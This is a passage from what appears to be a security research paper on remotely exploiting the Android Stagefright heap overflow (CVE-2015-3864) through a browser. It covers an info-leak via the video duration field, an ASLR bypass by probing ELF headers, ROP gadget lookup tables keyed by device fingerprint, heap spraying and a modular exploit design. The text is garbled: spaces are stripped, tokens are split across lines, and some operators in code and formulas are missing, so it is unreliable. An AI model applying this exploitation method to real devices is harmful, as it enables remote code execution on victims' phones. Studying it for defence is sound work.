0x63737472
0x0000000a
0xb2f9c850
0xb44096a0
:
0x74724944
0x696e3332
0x00000004
0x00000001
0xb44096b0
:
0x77696474
0x696e3332
0x00000004
0x000001e0
Weneedtoknowtheexactnumberofmetadataelementsinsertedbeforecorruption.Itssimple
aswecontrolthemediafilesowecanpredictitsstate.Wedonthavetooverwriteelements
withthesametypeofelements,onlytomakesureelementsareorderedbykey(asshown
above).
Tosummarize,weneedtooverwriteanarrayof16bytesstructureswithsortedelements.
Theseelementsareoftype:
key_value_pair_t
<
key
,
value>
asshownintheexampleabove.
Groomingtheheapisdoneinasimilarfashiontooverflowing
mDataSource
usingthesame
MPEG4atoms(
titl
,
gnre
,
auth,
pref
)andoverwriteusingthesameheapoverflowvulnerability,
namelyCVE20153864.
Thefinalduration,beforethemetadataisreturnedtothebrowser,isreturnedasastring.Itis
thelongestdurationfieldofalltracks:
StagefrightMetadataRetriever.cpp:574
:
//Thedurationvalueisastringrepresentingthedurationinms.
sprintf
(
tmp
,
"%"
PRId64
,
(
maxDurationUs
+
500
)
1000
);
mMetaData
.
add
(
METADATA_KEY_DURATION
,
String8
(
tmp
));
Itisultimatelyconvertedfrommicrosecondstomillisecond,causingsomedataloss.
Subsequently,wecanleakan8bytesintegerbacktothebrowserwithanaccuracyof500.
Itisimportanttonotethatthebrowserfiltersvalueswhosehighestbitsaresetsuchas
negativevalues,infinityorNaNs(eventhoughthesenumbershavemanyrepresentations).
Thesevalueswillbeignoredandthedurationfieldwillbesetto0.
Notethat
PRId64
formatsasigned64bitinteger.Thelargestpossiblevalidvalue,considering
theentireconversionprocess,is:
(
2
^
31
1
)
1000
499
2
,
147
,
483
,
647
,
499
0x000001F3:FFFFFE0B
Highervalueswilloverflowtothesignbitandthebrowserwillthenfilterthatvalueasnegative
durations(orinfinite/NaN)makenosense.
Finally,wecanleak8bytesonlyiftheir23highestbitsarefilledwithzeroesandafewmorebits
arelostfromthatvalueduetoroundingtothenearest1,000.Thisgivesusabout3235bitsof
usefuldatadependingonthevalue.
ASLRWeaknesses
TheASLRalgorithmon32bitARMlinuxsystemsissimpleitmovesallmodulesarandom
amountofpagesdown,between0and255pages.Theamountofpagesshifted,calledthe
ASLRslide
,isgeneratedonprocessstartupandpersistsfortheentirelifetimeoftheprocess.
mmap.c:172
:
unsigned
long
arch_mmap_rnd
(
void
)
{
unsigned
long
rnd
;
/*8bitsofrandomnessin20addressspacebits*/
rnd
(
unsigned
long
)
get_random_int
()
(
1
<<
8
);
return
rnd
<<
PAGE_SHIFT
;
}
Thisvalueisthenpassedtommap_base:
mmap.c:33
:
static
unsigned
long
mmap_base
(
unsigned
long
rnd
)
{
unsigned
long
gap
=
rlimit
(
RLIMIT_STACK
);
if
(
gap
<
MIN_GAP
)
gap
=
MIN_GAP
;
else
if
(
gap
>
MAX_GAP
)
gap
=
MAX_GAP
;
return
PAGE_ALIGN
(
TASK_SIZE
gap
rnd
);
}
EverymoduleisloadedtoitspreferredbaseaddressandthenshifteddownbytheASLRslide.
Toconfirmthis,weveranmediaserverhundredsoftimesrecordingthepossibleaddress
rangesforallmodules.Alladdressrangeswere256pages,asexpectedbytheASLR
randomizationanddistancesfromothermodulesremainedthesame.Thus,theASLRslideis
thesameforallmodules.15
SincetheASLRslideisthesameforallmodules,weneedtoknowasinglemodulesbase
addressinordertoknowthememorylayoutofallothermodules,andasshownabove,there
areonly256options.
Wecanusetheprebuiltlookuptableofdeviceversiontogadgetoffsets.Onceweknowone
modulesbaseaddresswecantranslatethesegadgetoffsetstoabsoluteaddresses!
DeviceFingerprinting
Conveniently,alloftherequiredgadgetsresidewithinlibc.so.Gadgetoffsetsmaychange
betweendeviceswithdifferentlibc.soversions.However,inmanycasesonecanfingerprint
accordingtotheUserAgentHTTPheaderaloneasthelattermayincludedevicebuildversion
andAndroidversion.
Bybuildingalookuptableofdeviceversiontogadgetoffsets,weeliminatetheneedtoperform
expensiveoperationsatruntime.Thefinalprerequisiteforaremotecodeexecutionisthebase
addressoflibc.soatruntime!
Findinglibc.so
Theresearchof/proc/
pid
/mapsrevealedthatmodulelocationsarealmostpredictable,witha
maximumdistanceof256pages.Assumingtheresareadablememorysectionlargerthan256
pages(1MB),wecanguaranteethattheaddressatthemodulespreferedbaseexistsand
pointstothatmodulepossiblywithanoffsetofupto255pages.
Thefollowingdiagramshowsthisconcept:
Note:thismethodworkedonmostdevicestestedexceptforonedevicethatloadedsomemodules
dynamicallyattimesandinanorderwecouldnotpredict.
15
Thelibicui18n.somodulewillwork,asthecodesectionisreadableandlargerthan1MB:
b6a1c000
b6b77000
rxp00000000b3:191110/system/lib/libicui18n.so
b6b77000b6b78000p0000000000:000
b6b78000b6b82000rp0015b000b3:191110/system/lib/libicui18n.so
b6b82000b6b83000rwp00165000b3:191110/system/lib/libicui18n.so
Notethatsomemoduleshaveaguardpageinbetweensections(e.g..text,.data,...),however
weonlyrequirealargeenoughcontinousmemoryregion.Inthiscase,thetextsectionismore
thansufficentasitssizeis1,388pages.
TheASLRslideisthedistancebetweenthemodulespreferredbaseandthemodulesruntime
baseaddress:
final_base=preferred_baseaslr_slide
andso:
aslr_slide
=
preferred_base
final_base
(NotethatASLRshiftsdown)
WeknowtheELFheaderhastobepagealignedandoddlyenough,theELFheaderisinthe
beginningoftheexecutableregion:
(
gdb
)
x
/
16x
0xb6a1c000
0xb6a1c000
:
0x464c457f
0x00010101
0x00000000
0x00000000
0xb6a1c010
:
0x00280003
0x00000001
0x00000000
0x00000034
0xb6a1c020
:
0x00165268
0x05000000
0x00200034
0x00280008
0xb6a1c030
:
0x00160017
0x00000006
0x00000034
0x00000034
Startingfromthepreferredbaseandgoingonepagedownatatime,weeventuallylandonthe
ELFheader.However,wecannotleaktheELFheadersincethe8bytesvalueislargerthanthe
limitationsofthismethod.TheELFheadersfirst8bytesare:
0x00010101
:
464c457f
whilethemaximumlimittoleakisasshownearlier:
0x000001F3:FFFFFE0B
Theresonefieldthatseemstobesomewhatuniquetoeachmodule.Wecanleakitasits
rd
highestbitsalwaysseemtobezeroitisthe
p_memsz
and
p_flags
ofthe3
programheader
tableatoffset0x88:
0x34bytesfortheELFheaderplus0x20fortwopreviousprogramheadertablesplus0x14for
thefieldsoffset.
Thefollowingdiagramshowsthe
ELFfileformat
andthefieldofinterest:
rd
Thememsz(
p_memsz
)fieldofthe3
programheadertablemeetsourcriteriaitisreadable,
moduleuniqueandatconstantposition.
ThefollowingcommanddumpsELFheadervalues,sowecanfindtheaforementionedvalue:
armlinuxandroideabiobjdumpplibstagefright.so
libstagefright.so:fileformatelf32littlearm
ProgramHeader:
PHDRoff
0x00000034
vaddr
0x00000034
paddr
0x00000034
align
2
**2
filesz
0x00000100
memsz
0x00000100
flagsr
INTERPoff
0x00000134
vaddr
0x00000134
paddr
0x00000134
align
2
**0
filesz
0x00000013
memsz
0x00000013
flagsr
LOADoff
0x00000000
vaddr
0x00000000
paddr
0x00000000
align
2
**
12
filesz
0x00108fe2
memsz
0x00108fe2
flagsr
x
LOADoff
0x00109488
vaddr
0x0010a488
paddr
0x0010a488
align
2
**
12
filesz
0x00009300
memsz
0x00009358
flagsrw
DYNAMICoff
0x0010ead8
vaddr
0x0010fad8
paddr
0x0010fad8
align
2
**2
filesz
0x000001b8
memsz
0x000001b8
flagsrw
STACKoff
0x00000000
vaddr
0x00000000
paddr
0x00000000
align
2
**0
filesz
0x00000000
memsz
0x00000000
flagsrw
0x70000001
off
0x000d616c
vaddr
0x000d616c
paddr
0x000d616c
align
2
**2
filesz
0x00004650
memsz
0x00004650
flagsr
RELROoff
0x00109488
vaddr
0x0010a488
paddr
0x0010a488
align
2
**3
filesz
0x00008b78
memsz
0x00008b78
flagsrw
(Notethatthe8bytesvalueissharedwith
p_flags,
however,italwaysseemstobeaverysmallvalue
neverexceedingthemaximumvaluelimitation)
rd
Wecannowbuildalookuptable,oneentryperdevice,oflibicui8n.so
p_memsz
field(ofthe3
programheadertable)askeytodistancesfromlibc.so.
Thismethodallowsleakingonlyafewbitsofinformationthroughthesefieldspermediafile
parsedbythevictim.Thevictimhastodownloadandparseupto256mediafilesjusttofindthe
ELFheaderinordertofixgadgetoffsetstoabsoluteaddresses.Thecodeexecutionmediafile
mightbelargeinsizeduetotheheapsprayabout32MBormorefortheheapspraytofallon
thepredictableaddress.
HTTPsupportsGZIPcompressedcontent.Fora32MBmediafile,filledmostlywithzeroes,we
getatotalof33kBofnetworktrafficabout1,000timessmallermakingexploitationinthewild
quitepossible!
PuttingItAllTogether
Ourexploitconsistsofseveralmodulesforeasyautomationandgenerationofexploitsin
realtime.Thesemodulesare:
Crash
Generatesasmallandgenericmediafile
Crashesmediaservertoresetitsstate
Checksthepresenceofthevulnerabilitywhenautomatingtestsandbuilding
lookuptables
RCE
Generatesadevicecustomizedmediafileexecutingshellcodeinmediaserver
Lookuptableprovidesgadgetoffsetsandlibc.sopreferedbaseaddress
ReceivestheruntimeASLRslideasparameterandtranslatesgadgetoffsetsto
absoluteaddresses
Leak
Generatesadevicecustomizedmediafiletoleakmemoryfromthemediaserver
process
Receivesanaddresstoleakfromasparameter
Thisaddressmaybeunmappedorguardpagecausescrash
Informationisreturnedthroughthe
duration
fieldofthe
<video>
tag
RequireswebbrowsertosupportXmlHttpRequestwith
blob
responsetype
Notsupportedonveryoldbrowserversions
SupportedsinceChrome19
Samsung'sSBrowserisbasedonChromiumoldestversionisbasedon
Chromium18
MaybeirrelevantasROMswithveryoldbrowsersmightnotimplement
ASLRatall
Thefollowingdiagramshowstheentireflowofexploitation:
FinalRequirements
Themethodsshowninthispaperrequirehavingsomepriorknowledgeaboutthevictims
device.EvenifonemayobservethevictimsUserAgentheader,byitselfitdoesnotprovide
anycriticalinformationaboutthedevicesuchasgadgetoffsetsorpredictableaddresses.
Thelookuptablesusesdevicebuildaskeytofindrelevantinformationforexploitation.Tobuild
them,onemusthave:
libc.so
Extractpreferedbaseaddress
Extractthefourrequiredgadgets(mentionedin
ROPChainGadgets
section)
pop
{
pc}
pop
{
r0
,
r1
,
r2
,
pc}
stackpivotgadgetaddress
mprotectaddress
libicui8n.so
Extractpreferedbaseaddress
Calculatedistancefromlibc.so
ELFheadermoduleidentifier
jemallocconfiguration
Sizesofjemallocregions
Canbeextractedfromlibc.so
Canrunatestprogramonthedevicetofindthesevalues
Predictableheapsprayaddress
Theoptimalvalueforthisaddressvariesbetweendevicesbutinpractice,the
sameaddressmaybeusedformultipledevices
Bestoptionistorunmultipletestsonthedevice
Withfurtherresearchitmaybepossibletolayasideallorsomeofthelookuptables,thus
achievinganevenmoregenericexploit.
Notethattofindsomeofthesevalues,itisoptimaltohavearealdevice.Thelibc.soand
libicui8n.somodules,aswellasthejemallocconfigurationcanbeextractedfromtheROMs
systemimage,whilethepredictableheapsprayaddresscanbeguessedalthoughmaynotbe
optimalforsomedevices.
Summary
Thisresearchshowsexploitationofthisvulnerabilityisfeasible.Eventhoughauniversalexploit
withnopriorknowledgewasnotachieved,becauseitisnecessarytobuildlookuptablesper
ROM,ithasbeenprovenpracticaltoexploitinthewild.
OurexploitworksbestonNexus5withstockROM.ItwasalsotestedonHTCOne,LGG3and
SamsungS5,howeverexploitationisslightlydifferentbetweendifferentvendors.Slight
modificationswereneeded.
Itsimportanttonotethatthisisaremotecodeexecutionvulnerability,itmaystillbenecessary
toelevateprivillegesofthemediaserverprocessasdifferentvendorsgavemediaserverandits
groupsdifferentpermissions.(seein/init.rc)
Exploittimeswhenrelyingonlibicui8n.somodulevariesbetweenafewsecondsandupto2
minutes.
Inthebonussectionamoresophisticatedmethodisshowntofurtherdecreasethesetimesby
aboutafactorof4.
Itsworthtonote:
23.5%ofAndroiddevicesareversions5.05.1about235,000,000devices
4.0%ofAndroidversionsareversions2.xwithnoASLRabout40,000,000devices
Althougholddeviceshavesomanyvulnerabilitiesalready
Lookingatthesenumbersitshardtocomprehendhowmanydevicesarepotentioaly
vulnerable.
Statisticstakenfrom:
http://www.statista.com/statistics/271774/shareofandroidplatformsonmobiledeviceswithandroidos/
ThesenumbersmayincludemanyAndroidtabletsandTVsandperhapsevenwatches,butthevulnerabilitymay
existonthemtoo.
Bonus
ImprovingHeapSprayEffectiveness
In
exploit38226
,theheapsprayeffectivenesswasdoubledbywrappingthespraydatawiththe
stbl
atom.Thiscanbefurtherimprovedandwasillustratedquitewellin
NCCGrouppaper16 .
Usingthismethod,thesizeoftheremotecodeexecutionexploitcanbegreatlyreduced.
ImprovingExploitationTimes
Wecansignificantlydecreasethenumberofleaksneededbyleakingdifferentinformationfrom
theELFheader.RatherthanleakingtheELFheader,wecanchooseanarbitraryaddress
insideanymodulerichmemoryregion.
Heresanexampleofamemoryregionof728pages,containing24ELFheadersandonly5
pagesizeinaccessibleholes.
b6c92000b6cd3000rxp/system/lib/libgui.so
b6cd3000b6cd4000p[guard]
b6cd4000b6ce0000rp/system/lib/libgui.so
b6e8b000b6ea0000rxp/system/lib/libutils.so
b6ed6000b6ed7000p[guard]
b6ed7000b6ed8000rp/system/lib/libspeexresampler.so
...
b6f69000b6f6a000rwp/system/lib/libm.so
(thesevaluesareboundtochangesignificantlybetweendifferentdevicesitismerelyforthesakeoftheexample)
Wecanchooseaddresseswithinthisregionatrandom:
Thereareonly5holesthechanceofcrashingisonly0.69%permediafileparsed
Thereare57pageswhichwecanidentifyproviding7.83%chancetofindtheASLR
slidepermediafileparsed
Forcomparison,guessingtheASLRslideoutof256optionsprovidesonly0.39%chanceof
successpermediafileparsed.
Exploitationtimesusingthismethodvariedbetween250millisecondsto30seconds,withan
averageof5to10seconds,dependingontheamountofidentifiers,device,workload,network
stabilityandmostimportantlytheamountofleaksattempted.Thistimeframeiswellwithin
reason.
16
https://nccgroup.trust/globalassets/ourresearch/uk/whitepapers/2016/01/libstagefrightexploitnotespdf/
ResearchSuggestions
ThemethoddescribedtoleakinformationcannotbeusedonSBrowserItseemstoprevent
loadingvideosthroughan
XmlHttpRequest
objectwith
responseType=blob.
Itisunclearifitis
somekindofattackmitigationorunsupportedfeatures.
Onemaybeabletobypassthe
NuCachedSource2::readInternalm
ethod
CHECK_LE
macro:
NuCachedSource2:579
:
ssize_t
NuCachedSource2
::
readInternal
(
off64_t
offset
,
void
*
data
,
size_t
size
)
{
CHECK_LE
(
size
,
(
size_t
)
mHighwaterThresholdBytes
);
byprovidinghigh
mHighwaterThresholdBytes
valuethroughthe
xcacheconfig
HTTPheader:
NuCachedSource2:687
:
void
NuCachedSource2
::
updateCacheParamsFromString
(
const
char
*
s
)
{
ssize_t
lowwaterMarkKb
,
highwaterMarkKb;
int
keepAliveSecs;
/*the's'parameteristhexcacheconfigHTTPheader*/
if
(
sscanf
(
s
,
"%zd/%zd/%d",
&
lowwaterMarkKb
,
&
highwaterMarkKb
,
&
keepAliveSecs
)
!=
3
)
{
...
...
if
(
highwaterMarkKb
>=
0
)
{
mHighwaterThresholdBytes
=
highwaterMarkKb
*
1024;
else
{
mHighwaterThresholdBytes
=
kDefaultHighWaterThreshold;
}
ResearchingDRMcontentmayalsobeprovenessentialinordertoutilizetheleakmethodto
Androidversion4.4.4.
Credits
GilDabah&ArielShiftanfortheopportunity(andthepaycheck)
ShacharMenasheforbearingwithmethroughthisresearchinaprofessionalmanner
YotamShtossellinguisticadvisorandmentalsupervisor
E.P.liftingmeupwhenIwasdown
JoshuaDrakefromZimperiumoriginalexploit
GoogleProjectZero,whoseresearchblogpostandexploithaveboostedthisresearch
significantly.
References
NorthBit,homeoftheteamwhoresearchedthisvulnerability:
NorthBitltd.
JDrakeswhitepaper:
JDrakeswhitepaper
CVEused:
CVE20153864
Googlesblogpostaboutstagefright:
GoogleProjectZero:Stagefrightened
GooglesimplementationofCVE20153864:
exploit38226
Nicetrickusing
stb
latomrecursivelytoincreaseheapsprayeffectiveness:
NCCGrouppaperonlibstagefright
ELFfileformat:
https://en.wikipedia.org/wiki/Executable_and_Linkable_Format
jemallocimplementationpaper:
https://people.freebsd.org/~jasone/jemalloc/bsdcan2006/jemalloc.pdf
Agreatpaperaboutjemallocfromanhackerspointofview,byPatroklosArgyroudisand
CharitonKaramitas:
https://media.blackhat.com/bhus12/Briefings/Argyoudis/BH_US_12_Argyroudis_Exploiting_th
e_%20jemalloc_Memory_%20Allocator_WP.pdf